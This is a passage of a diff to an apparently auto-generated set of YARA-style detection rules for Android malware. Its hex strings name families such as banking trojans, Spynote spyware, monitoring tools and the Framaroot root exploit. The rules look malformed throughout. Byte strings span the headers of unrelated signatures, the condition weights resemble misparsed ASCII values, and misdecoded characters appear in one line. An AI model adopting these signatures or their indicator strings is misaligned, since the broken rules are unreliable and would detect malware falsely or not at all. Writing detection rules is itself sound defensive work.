07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 65 76 70 } //28496 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25665+(#a_3a_2 & 1)*17748+(#a_6f_3 & 1)*17004+(#a_42_4 & 1)*27489+(#a_00_5 & 1)*21325+(#a_73_6 & 1)*29441) >=7 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25665+(#a_3a_2 & 1)*19521+(#a_76_3 & 1)*25955+(#a_72_4 & 1)*28225+(#a_75_5 & 1)*11890+(#a_74_6 & 1)*28496) >=7 } -rule _InfrastructureShared_24794{ +rule _InfrastructureShared_26098{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 04 00 21 " strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 48 21 4d 54 42 00 01 00 1d 01 64 69 73 74 69 6e 63 74 69 6f 6e 2f 63 66 6c 6f 77 2f 61 63 74 69 76 69 74 69 74 65 73 01 00 15 } //21539 - $a_63_1 = {74 61 69 6c 42 6f 6f 6b 73 41 63 74 69 76 69 74 79 01 00 1c 01 2f 70 61 67 65 73 2f 67 6c 6f 73 73 61 72 79 5f 6e 6f 74 65 73 5f 77 69 64 67 65 74 01 00 1b 03 74 00 00 0a 01 38 01 37 00 72 10 90 01 01 74 00 00 0c 01 1f 01 de 11 6e 10 90 00 00 00 be a8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 } //17153 - $a_64_2 = {53 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 4d 54 42 00 01 00 16 01 66 61 6b 65 2d 62 61 6e 6b 2d 74 65 73 74 2e 77 65 62 2e 61 70 70 01 00 1f 01 63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 6d 61 6c 77 61 72 65 2e 53 65 72 76 69 63 65 42 6f 6f 74 01 00 13 01 73 75 70 65 72 2d 62 61 64 2d 68 61 63 6b 65 72 2e 72 75 01 00 06 01 } //28530 - $a_53_3 = {53 01 00 15 01 73 6d 73 5f 6d 61 69 6c 69 6e 67 5f 70 68 6f 6e 65 62 6f 6f 6b 00 00 be a8 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 4f 21 4d 54 42 00 01 00 10 01 50 6f 73 74 44 61 74 61 4e 6f 64 65 43 61 72 64 01 00 0f 01 50 6f 73 74 44 61 74 61 4e 6f } //25959 + $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 41 67 65 6e 74 2e 42 56 00 02 00 12 01 5f 67 65 74 53 61 64 65 72 61 74 42 61 6c 61 6e 63 65 02 00 13 01 49 63 6f 6e 53 65 72 76 69 63 65 52 65 63 65 69 76 65 } //16675 + $a_74_2 = {72 65 41 6e 64 53 65 6e 64 53 63 72 65 65 6e 73 68 6f 74 57 69 74 68 42 6f 64 79 4e 6f 6e 65 02 00 20 01 67 65 74 53 61 64 65 72 61 74 42 61 6c 61 6e 63 65 41 6e 64 53 65 6e 64 54 6f 53 65 72 76 65 72 00 00 be a8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 42 61 6e } //24931 + $a_21_3 = {54 42 00 01 00 16 01 66 61 6b 65 2d 62 61 6e 6b 2d 74 65 73 74 2e 77 65 62 2e 61 70 70 01 00 1f 01 63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 6d 61 6c 77 61 72 65 2e 53 65 72 76 69 63 65 42 6f 6f 74 01 } //11883 condition: - ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*17153+(#a_64_2 & 1)*28530+(#a_53_3 & 1)*25959) >=3 + ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*24931+(#a_21_3 & 1)*11883) >=8 } -rule _InfrastructureShared_24795{ +rule _InfrastructureShared_26099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324745,7 +341465,7 @@ rule _InfrastructureShared_24795{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27950+(#a_3a_2 & 1)*28755+(#a_74_3 & 1)*30313+(#a_73_4 & 1)*28532) >=5 } -rule _InfrastructureShared_24796{ +rule _InfrastructureShared_26100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324759,7 +341479,7 @@ rule _InfrastructureShared_24796{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*20065+(#a_61_3 & 1)*25934+(#a_72_4 & 1)*29557+(#a_6c_5 & 1)*24948) >=6 } -rule _InfrastructureShared_24797{ +rule _InfrastructureShared_26101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -324770,12 +341490,12 @@ rule _InfrastructureShared_24797{ $a_00_3 = {46 72 61 6d 61 41 64 62 41 63 74 69 76 69 74 79 } //1 FramaAdbActivity $a_00_4 = {2f 2f 64 65 74 61 69 6c 73 3f 69 64 3d 63 6f 6d 2e 61 6c 65 70 68 7a 61 69 6e 2e 66 72 61 6d 61 72 6f 6f 74 64 6f 6e 61 74 69 6f 6e } //1 //details?id=com.alephzain.framarootdonation $a_00_5 = {4c 63 6f 6d 2f 61 6c 65 70 68 7a 61 69 6e 2f 66 72 61 6d 61 72 6f 6f 74 2f 46 72 61 6d 61 41 63 74 69 76 69 74 79 } //1 Lcom/alephzain/framaroot/FramaActivity - $a_a9_6 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 63 6b 56 69 65 77 2e 43 21 4d 54 42 00 01 00 12 01 4c 63 6f 6d 2f 74 72 61 63 6b 76 69 65 77 2f 61 64 73 01 00 16 01 54 72 61 63 6b 56 69 65 77 4d 65 64 69 61 52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a } //0 + $a_a9_6 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 63 6b 56 69 65 77 2e 43 21 4d 54 42 00 01 00 12 01 4c 63 6f 6d 2f 74 72 61 63 6b 76 69 65 77 2f 61 64 73 01 00 16 01 54 72 61 63 6b 56 69 65 77 4d 65 64 69 61 52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 } //0 condition: ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*29793+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_a9_6 & 1)*0) >=7 } -rule _InfrastructureShared_24798{ +rule _InfrastructureShared_26102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -324783,36 +341503,26 @@ rule _InfrastructureShared_24798{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 72 61 6d 61 72 6f 6f 74 2e 41 21 4d 54 42 00 01 00 07 00 65 78 70 6c 6f 69 74 01 00 10 00 46 72 61 6d 61 41 64 62 41 63 74 69 76 69 74 79 01 00 2c 00 2f 2f 64 65 74 61 69 } //16675 $a_69_1 = {3d 63 6f 6d 2e 61 6c 65 70 68 7a 61 69 6e 2e 66 72 61 6d 61 72 6f 6f 74 64 6f 6e 61 74 69 6f 6e 01 00 26 00 4c 63 6f 6d 2f 61 6c 65 70 68 7a 61 69 6e 2f 66 72 61 6d 61 72 6f 6f 74 2f 46 72 } //29548 $a_41_2 = {74 69 76 69 74 79 00 00 be a9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 63 6b 56 69 65 77 2e 43 21 4d 54 42 00 01 00 12 01 4c 63 6f 6d 2f 74 72 61 63 6b 76 69 65 77 2f 61 64 73 01 00 16 01 54 72 61 63 6b 56 } //28001 - $a_4d_3 = {64 69 61 52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 45 76 69 6c 49 6e 73 } //25961 + $a_4d_3 = {64 69 61 52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6d 73 4b 65 79 2e 44 53 00 01 00 09 00 53 4d 53 50 } //25961 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29548+(#a_41_2 & 1)*28001+(#a_4d_3 & 1)*25961) >=4 } -rule _InfrastructureShared_24799{ +rule _InfrastructureShared_26103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 63 6b 56 69 65 77 2e 43 21 4d 54 42 00 01 00 12 01 4c 63 6f 6d 2f 74 72 61 63 6b 76 69 65 77 2f 61 64 73 01 00 16 01 54 72 61 63 6b 56 69 65 77 } //16675 潍楮潴楲杮潔汯䄺摮潲摩协启慲正楖睥䌮䴡䉔Āሀ䰁潣⽭牴捡癫敩⽷摡ųᘀ吁慲正楖睥 - $a_69_1 = {52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 } //25933 - $a_6f_2 = {64 4f 53 2f 45 76 69 6c 49 6e 73 74 2e 46 21 4d 54 42 00 01 00 38 01 0a 02 12 00 38 02 18 00 12 13 32 32 03 00 28 24 22 02 46 0c 70 20 46 34 52 00 5b 42 71 00 38 06 05 00 5b 64 6f 00 28 18 22 06 29 00 70 30 58 00 06 04 28 12 22 02 46 0c 01 00 3c 01 0a 02 12 00 38 02 13 00 12 13 32 32 03 00 28 1b 22 02 46 0c 70 20 46 34 52 00 5b 42 70 00 22 } //25710 - $a_04_4 = {28 0d } //88 ന + $a_69_1 = {52 65 63 6f 72 64 65 72 01 00 15 01 61 70 70 2e 63 79 62 72 6f 6f 6b 2e 74 72 61 63 6b 76 69 65 77 01 00 12 01 4c 6f 63 61 74 69 6f 6e 52 65 63 6f 72 64 44 61 74 61 01 00 0f 01 6d 6f 6e 69 74 6f 72 44 65 76 69 63 65 43 62 00 00 be aa 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6d } //25933 + $a_79_2 = {44 53 00 01 00 09 00 53 4d 53 50 52 44 43 54 53 01 00 0d 00 74 6f 64 64 73 50 61 67 65 2e 70 68 70 01 00 19 00 53 4d 53 20 6e 6f 74 20 73 65 6e 74 20 2d 20 6e 6f 20 73 65 72 76 69 63 65 01 00 15 00 53 65 6e 64 20 49 6e 73 74 61 6c 6c 65 64 20 41 70 70 2e 2e 2e 01 00 17 00 53 68 6f 75 6c 64 50 75 73 68 } //19315 + $a_61_3 = {69 6e 74 65 72 76 61 6c 01 00 19 00 68 74 74 70 3a 2f 2f 72 65 77 61 72 64 73 2e 67 65 74 6a 61 72 2e 63 6f 6d 00 00 be aa 00 00 07 00 07 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6f 6d 6f 62 2e 41 21 4d 54 42 00 01 00 0c 00 43 72 61 7a 79 42 6f 78 2e 61 70 6b 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 } //24900 + $a_00_4 = {0e } //21071 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25933+(#a_6f_2 & 1)*25710+(#a_04_4 & 1)*88) >=5 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25933+(#a_79_2 & 1)*19315+(#a_61_3 & 1)*24900+(#a_00_4 & 1)*21071) >=5 } -rule _InfrastructureShared_24800{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 45 76 69 6c 49 6e 73 74 2e 46 21 4d 54 42 00 01 00 38 01 0a 02 12 00 38 02 18 00 12 13 32 32 03 00 28 24 22 02 46 0c 70 20 46 34 52 00 5b 42 71 00 38 06 05 } //21539 - $a_6f_1 = {28 18 22 06 29 00 70 30 58 00 06 04 28 12 22 02 46 0c 01 00 3c 01 0a 02 12 00 38 02 13 00 12 13 32 32 03 00 28 1b 22 02 46 0c 70 20 46 34 52 00 5b 42 70 00 22 02 29 00 70 30 58 00 02 04 28 0d 22 02 46 0c 70 20 46 34 52 00 5b 32 70 00 22 02 29 00 00 00 be aa 00 00 06 00 06 00 06 00 21 23 50 55 41 3a } //23296 - condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*23296) >=2 - -} -rule _InfrastructureShared_24801{ +rule _InfrastructureShared_26104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324822,12 +341532,12 @@ rule _InfrastructureShared_24801{ $a_72_2 = {7a 79 42 6f 78 2e 61 70 6b 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 0e 00 63 6c 69 63 6b 5f 74 72 61 63 6b 69 6e 67 01 00 0f 00 6d 6f 62 2e 67 75 6f 68 65 61 64 2e 63 6f 6d 01 00 0b 00 } //12 $a_6f_3 = {41 64 56 69 65 77 01 00 0a 00 4d 6f 62 61 64 73 20 53 44 4b 01 00 15 00 4c 63 6e 2f 64 6f 6d 6f 62 2f 61 6e 64 72 6f 69 64 2f 61 64 73 00 00 06 00 be ab 00 00 07 00 07 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 6b 6f 72 2e 41 00 02 00 1b 01 4c 63 6f 6d 2f 74 68 61 6e 6f 73 66 69 73 68 65 } //28484 $a_6e_4 = {65 6c 76 69 73 2f 02 00 0b 01 50 57 44 5f 50 41 54 54 45 52 4e 01 00 07 01 53 42 43 62 65 6e 6f 02 00 1a 01 53 45 52 56 49 43 45 5f 52 45 41 44 59 5f 46 4f 52 5f 4e 45 57 5f 55 53 45 52 01 00 0b 01 4b 6a 63 67 77 79 6b 24 44 65 67 01 00 1b 01 66 4b 57 4b 54 4f 32 41 43 33 72 70 48 57 7a 63 } //28018 - $a_56_5 = {51 73 4e 34 43 38 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 62 73 6f 6c 75 74 65 2e 41 21 4d 54 42 00 01 00 14 00 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e 43 6f 6d 6d 61 6e 64 01 00 11 00 44 65 6c 65 74 65 44 61 74 61 43 6f 6d 6d 61 } //19760 + $a_56_5 = {51 73 4e 34 43 38 00 00 be ac 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 58 21 4d 54 42 00 01 00 28 01 63 6f 6d 2f 73 68 65 6c 6c 2f 61 70 70 2f 49 6e 73 74 61 6c 6c 44 72 6f 70 53 65 73 73 69 6f 6e 41 63 74 69 76 69 74 79 01 00 4c 01 6e } //19760 condition: ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*29550+(#a_72_2 & 1)*12+(#a_6f_3 & 1)*28484+(#a_6e_4 & 1)*28018+(#a_56_5 & 1)*19760) >=6 } -rule _InfrastructureShared_24802{ +rule _InfrastructureShared_26105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -324835,30 +341545,41 @@ rule _InfrastructureShared_24802{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6f 6d 6f 62 2e 41 21 4d 54 42 00 01 00 0c 00 43 72 61 7a 79 42 6f 78 2e 61 70 6b 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 0e 00 63 6c 69 63 6b 5f 74 72 61 } //16675 $a_6e_1 = {01 00 0f 00 6d 6f 62 2e 67 75 6f 68 65 61 64 2e 63 6f 6d 01 00 0b 00 44 6f 6d 6f 62 41 64 56 69 65 77 01 00 0a 00 4d 6f 62 61 64 73 20 53 44 4b 01 00 15 00 4c 63 6e 2f 64 6f 6d 6f 62 2f 61 6e 64 72 6f 69 64 2f 61 64 73 00 00 06 00 be ab 00 00 07 00 07 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f } //27491 $a_53_2 = {52 6b 6f 72 2e 41 00 02 00 1b 01 4c 63 6f 6d 2f 74 68 61 6e 6f 73 66 69 73 68 65 72 6d 61 6e 2f 65 6c 76 69 73 2f 02 00 0b 01 50 57 44 5f 50 41 54 54 45 52 4e 01 00 07 01 53 42 43 62 65 6e 6f 02 00 1a 01 53 45 52 56 49 43 45 5f 52 45 41 } //25705 - $a_46_3 = {52 5f 4e 45 57 5f 55 53 45 52 01 00 0b 01 4b 6a 63 67 77 79 6b 24 44 65 67 01 00 1b 01 66 4b 57 4b 54 4f 32 41 43 33 72 70 48 57 7a 63 30 4d 6b 56 59 51 73 4e 34 43 38 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 } //22852 - $a_2f_4 = {62 73 6f 6c 75 74 65 2e 41 21 4d 54 42 00 01 00 14 00 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e 43 6f 6d 6d 61 6e 64 01 00 11 00 44 65 6c 65 74 65 44 61 74 61 43 6f 6d 6d 61 6e 64 01 00 10 00 4d 61 6e 75 66 61 63 74 75 72 65 72 57 69 70 65 01 00 1a 00 } //20324 - $a_2e_5 = {62 73 6f 6c 75 74 65 2e 61 6e 64 72 6f 69 64 2e 61 67 65 6e 74 01 00 13 00 49 6e 73 74 61 6c 6c 41 67 65 6e 74 43 6f 6d 6d 61 6e 64 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 4e 00 01 00 29 03 35 03 14 00 34 14 03 00 12 04 48 05 07 03 6e } //28515 - $a_02_6 = {48 } //-28640 H + $a_46_3 = {52 5f 4e 45 57 5f 55 53 45 52 01 00 0b 01 4b 6a 63 67 77 79 6b 24 44 65 67 01 00 1b 01 66 4b 57 4b 54 4f 32 41 43 33 72 70 48 57 7a 63 30 4d 6b 56 59 51 73 4e 34 43 38 00 00 be ac 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 } //22852 + $a_6f_4 = {65 2e 58 21 4d 54 42 00 01 00 28 01 63 6f 6d 2f 73 68 65 6c 6c 2f 61 70 70 2f 49 6e 73 74 61 6c 6c 44 72 6f 70 53 65 73 73 69 6f 6e 41 63 74 69 76 69 74 79 01 00 4c 01 6e 10 12 05 09 00 0c 01 6e 10 11 05 09 00 0c 02 12 03 6e 30 3c 05 12 03 0c 02 54 22 c7 02 54 94 a6 06 22 05 13 04 70 10 76 17 05 00 6e 20 81 17 15 00 6e 20 81 17 } //31088 + $a_10_5 = {86 17 05 00 0c 05 6e 10 6f 17 05 00 0c 05 21 56 01 37 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 62 73 6f 6c 75 74 65 2e 41 21 4d 54 42 00 01 00 14 00 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e 43 6f 6d 6d 61 6e 64 01 00 11 00 44 65 6c 65 74 65 } //69 + $a_61_6 = {6f 6d 6d 61 6e 64 01 00 10 00 4d 61 6e 75 66 61 63 74 75 72 65 72 57 69 70 65 01 00 1a 00 63 6f 6d 2e 61 62 73 6f 6c 75 74 65 2e 61 6e 64 72 6f 69 64 2e 61 67 65 6e 74 01 00 13 00 49 6e 73 74 61 6c 6c 41 67 65 6e 74 43 6f 6d 6d 61 6e 64 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 } //24900 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27491+(#a_53_2 & 1)*25705+(#a_46_3 & 1)*22852+(#a_2f_4 & 1)*20324+(#a_2e_5 & 1)*28515+(#a_02_6 & 1)*-28640) >=7 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27491+(#a_53_2 & 1)*25705+(#a_46_3 & 1)*22852+(#a_6f_4 & 1)*31088+(#a_10_5 & 1)*69+(#a_61_6 & 1)*24900) >=7 } -rule _InfrastructureShared_24803{ +rule _InfrastructureShared_26106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 6b 6f 72 2e 41 00 02 00 1b 01 4c 63 6f 6d 2f 74 68 61 6e 6f 73 66 69 73 68 65 72 6d 61 6e 2f 65 6c 76 69 73 2f 02 00 0b 01 50 57 44 5f 50 41 54 54 45 52 4e 01 00 07 01 53 42 } //16675 - $a_6e_1 = {02 00 1a 01 53 45 52 56 49 43 45 5f 52 45 41 44 59 5f 46 4f 52 5f 4e 45 57 5f 55 53 45 52 01 00 0b 01 4b 6a 63 67 77 79 6b 24 44 65 67 01 00 1b 01 66 4b 57 4b 54 4f 32 41 43 33 72 70 48 57 7a 63 30 4d 6b 56 59 51 73 4e 34 43 38 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 } //25155 - $a_54_2 = {6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 62 73 6f 6c 75 74 65 2e 41 21 4d 54 42 00 01 00 14 00 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e 43 6f 6d 6d 61 6e 64 01 00 11 00 44 65 6c 65 74 65 44 61 74 61 43 6f 6d 6d 61 6e 64 01 00 10 00 4d 61 6e 75 66 61 63 74 75 72 65 72 57 69 70 65 01 00 1a 00 63 6f 6d 2e 61 62 } //28265 - $a_75_3 = {65 2e 61 6e 64 72 6f 69 64 2e 61 67 65 6e 74 01 00 13 00 49 6e 73 74 61 6c 6c 41 67 65 6e 74 43 6f 6d 6d 61 6e 64 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 4e 00 01 00 29 03 35 03 14 00 34 14 03 00 12 04 48 05 07 03 6e 20 90 01 02 48 } //28531 - $a_b7_4 = {8d 55 4f 05 07 03 } //2560 - $a_01_5 = {d8 04 04 } //984 + $a_6e_1 = {02 00 1a 01 53 45 52 56 49 43 45 5f 52 45 41 44 59 5f 46 4f 52 5f 4e 45 57 5f 55 53 45 52 01 00 0b 01 4b 6a 63 67 77 79 6b 24 44 65 67 01 00 1b 01 66 4b 57 4b 54 4f 32 41 43 33 72 70 48 57 7a 63 30 4d 6b 56 59 51 73 4e 34 43 38 00 00 be ac 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 } //25155 + $a_41_2 = {64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 58 21 4d 54 42 00 01 00 28 01 63 6f 6d 2f 73 68 65 6c 6c 2f 61 70 70 2f 49 6e 73 74 61 6c 6c 44 72 6f 70 53 65 73 73 69 6f 6e } //31088 + $a_69_3 = {69 74 79 01 00 4c 01 6e 10 12 05 09 00 0c 01 6e 10 11 05 09 00 0c 02 12 03 6e 30 3c 05 12 03 0c 02 54 22 c7 02 54 94 a6 06 22 05 13 04 70 10 76 17 05 00 6e 20 81 17 15 00 6e 20 81 17 45 00 6e 10 86 17 05 00 0c 05 6e 10 6f 17 05 00 0c 05 21 56 01 37 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a } //25409 + $a_72_4 = {69 64 4f 53 2f 41 62 73 6f 6c 75 74 65 2e 41 21 4d 54 42 00 01 00 14 00 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e 43 6f 6d 6d 61 6e 64 01 00 11 00 44 65 6c 65 74 65 44 61 74 61 43 6f 6d 6d 61 6e 64 01 00 10 00 4d 61 6e 75 66 61 63 74 75 72 65 72 57 69 70 65 01 00 1a 00 63 6f 6d 2e 61 62 73 6f 6c 75 74 } //28225 + $a_6e_5 = {72 6f 69 64 2e 61 67 65 6e 74 01 00 13 00 49 6e 73 74 61 6c 6c 41 67 65 6e 74 43 6f 6d 6d 61 6e 64 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 4e 00 01 00 29 03 35 03 14 00 34 14 03 00 12 04 48 05 07 03 } //11877 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25155+(#a_54_2 & 1)*28265+(#a_75_3 & 1)*28531+(#a_b7_4 & 1)*2560+(#a_01_5 & 1)*984) >=7 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25155+(#a_41_2 & 1)*31088+(#a_69_3 & 1)*25409+(#a_72_4 & 1)*28225+(#a_6e_5 & 1)*11877) >=7 } -rule _InfrastructureShared_24804{ +rule _InfrastructureShared_26107{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 58 21 4d 54 42 00 01 00 28 01 63 6f 6d 2f 73 68 65 6c 6c 2f 61 70 70 2f 49 6e 73 74 61 6c 6c 44 72 6f 70 53 65 73 73 69 6f } //21539 + $a_74_1 = {76 69 74 79 01 00 4c 01 6e 10 12 05 09 00 0c 01 6e 10 11 05 09 00 0c 02 12 03 6e 30 3c 05 12 03 0c 02 54 22 c7 02 54 94 a6 06 22 05 13 04 70 10 76 17 05 00 6e 20 81 17 15 00 6e 20 81 17 45 00 6e 10 86 17 05 00 0c 05 6e 10 6f 17 05 00 0c 05 21 56 01 37 00 00 be ac 00 00 05 00 05 00 05 00 21 23 41 } //16750 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*16750) >=2 + +} +rule _InfrastructureShared_26108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324872,7 +341593,7 @@ rule _InfrastructureShared_24804{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 